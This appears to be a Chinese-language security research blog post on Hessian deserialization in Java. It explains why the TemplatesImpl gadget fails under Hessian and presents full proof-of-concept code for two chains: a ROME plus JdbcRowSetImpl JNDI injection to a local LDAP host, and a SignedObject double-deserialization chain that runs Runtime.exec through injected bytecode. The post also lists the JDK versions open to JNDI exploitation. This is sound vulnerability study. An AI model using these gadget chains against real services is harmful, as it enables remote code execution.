关于Hessian链的探究

Uncategorized
1.6k words

前置知识

  • RPC协议
    • 和之前学过的RMI协议有相似之处,都是用于实现远程调用的协议,类似于API调用的封装协议。不同的地方在于信息传输过程中对于所传递信息的编码处理上。RPC客户端在传递过程中首先会组织一个请求消息,包含了要调用的远程方法的名称、参数等信息。然后,根据RPC协议的规定,将这些信息按照特定的二进制格式进行编码。当RPC服务端收到传递信息之后,再根据RPC协议规定进行解码还原。
    • 除了在编码格式上存在差异以外,RPC协议与RMI协议在应用范围上也相差甚远。由于RPC协议使用 HTTP 或 TCP/IP 等底层网络协议进行通信,所以RPC协议并不会如RMI协议一样收到语言的限制,不仅仅是Java中可以使用RPC协议,Python等语言同样可以使用RPC协议
  • Hessian协议
    • Hessian协议是RPC协议的一种具体的实现方式,是一种用于远程过程调用的二进制协议,通过紧凑的二进制格式实现高效的数据传输,同时具备跨平台的兼容性,适用于各种分布式系统和跨语言集成的场景。
  • Hessian反序列化器总结

环境准备

pom.xml

1
2
3
4
5
<dependency>  
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

流程分析

在我们挖反序列化洞的过程中,经常能碰见以HashMap为起点的gadget,诸如Fastjson、ROME、CC6、URLDNS等等。我们这里的Hessian反序列化也是同理,我们尝试着跟着MapDeserial#readMap看一看

能够清楚的看到,在末了会调用map.put这个方法,而在我们前面的gadget复盘里面,我们也早就知道了map.put()会对key进行 hashcode() 调用,也就是说我们只需要找到一个以hashcode为入口的链子搭配使用即可,这里附上之前复现的rome链进行参考

只需要把rome链粘贴过来就好哩,炒鸡简单,但这里因为Hessian反序列化自身特性的原因,我们不能直接把TemplatesImpl类加载这条简单链子作为RCE执行链,我们可以跟进看一下用Java原生反序列化和用Hessian反序列化在这里的差别


可以清楚地看到,使用Hessian进行反序列化的对照组会因为_tfactory属性为null而在TemplatesImpl#defineTransletClasses()处中断执行,反之Java原生反序列化组则不存在相关问题,究其根本,是因为这里涉及到了一个关键字定义的问题,我们去审计一下TemplatesImpl这个类的源码看看。

能够看到,TemplatesImpl这里的_tfactory属性是被transient关键字所修饰的,这也就意味着在常规反序列化过程中,该属性的值无法与被序列化的原对象保持一致,但为什么Java原生反序列化中却又不存在这种置空现象?这里我们可以根进一下TemplatesImpl#readObject() 寻找答案。

可以看到,在line#266,TemplatesImpl自己就会给_tfactory赋值,压根不用担心置空问题。而当我们通过Hessian进行反序列化的时候,默认是不会调用gadget中类的readObject方法的,这才酿此大祸。这里我们换一条执行链,把类加载链改成经典的JdbcRowSetImpl链,但因为之前的文章一直没有详细复盘过JdbcRowSetImpl链,我们这里先进到JdbcRowSetImp里来盘一盘这条链子。

直接找lookup就能定位到connect(),因为这里的getDataSourceName返回值可以被我们任意控制,显然可以当做利用点,接着再查找用法,在getDatabaseMetaData() 这里找到了getter方法直接掉宝。

因为是jndi注入链,jdk版本限制会高一些,这里一开始就是忘换版本了,卡了一会儿。

1
2
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191

这里换上万能的jdk66开搞,附上完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;  
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian_Test implements Serializable {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(o); //对象写在这
output.close();
System.out.println(os.toString());
return os.toByteArray();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/bj56m8");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "x");
setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);
deserialize(serialize(hashMap));
}

}

这里顺便提一下Hessian2Output(),在这个方法内部会根据传来的序列化值的首字节进行反序列化器的选择,这里tag是77,选中的就是我们上文的MapDeserializer,运行结果如下

关于TemplatesImpl链完善

本来以为TemplatesImpl链和Hessian已经没有缘分了,但后来查资料的时候看到了别的师傅用二次反序列化给绕过去了,这里也记录一下。

ROME链调用SignedObject#getObject() –> ROME链调TemplateImpl链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package org.example;  

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;

public class Hessian_Test implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(o); //对象写在这
output.close();
System.out.println(os.toString());
return os.toByteArray();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws Exception {
//设置TemplatesImpl链作为ROME2的出口
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "ROME2");
//HashMap2设置成ROME2的入口
ToStringBean toStringBean2 = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean2 = new ObjectBean(ToStringBean.class, toStringBean2);
HashMap hashMap2 = new HashMap();
hashMap2.put(objectBean2, "hashMap2");
//设置SignedObject,把HashMap2给绑上去
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap2, kp.getPrivate(), Signature.getInstance("DSA"));
//HashMap1设置为ROME1的入口,SignedObject成为ROME1的出口
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
ObjectBean objectBean1 = new ObjectBean(ToStringBean.class, toStringBean1);
HashMap hashMap1 = new HashMap();
hashMap1.put(objectBean1, "hashMap1");
deserialize(serialize(hashMap1));
}

}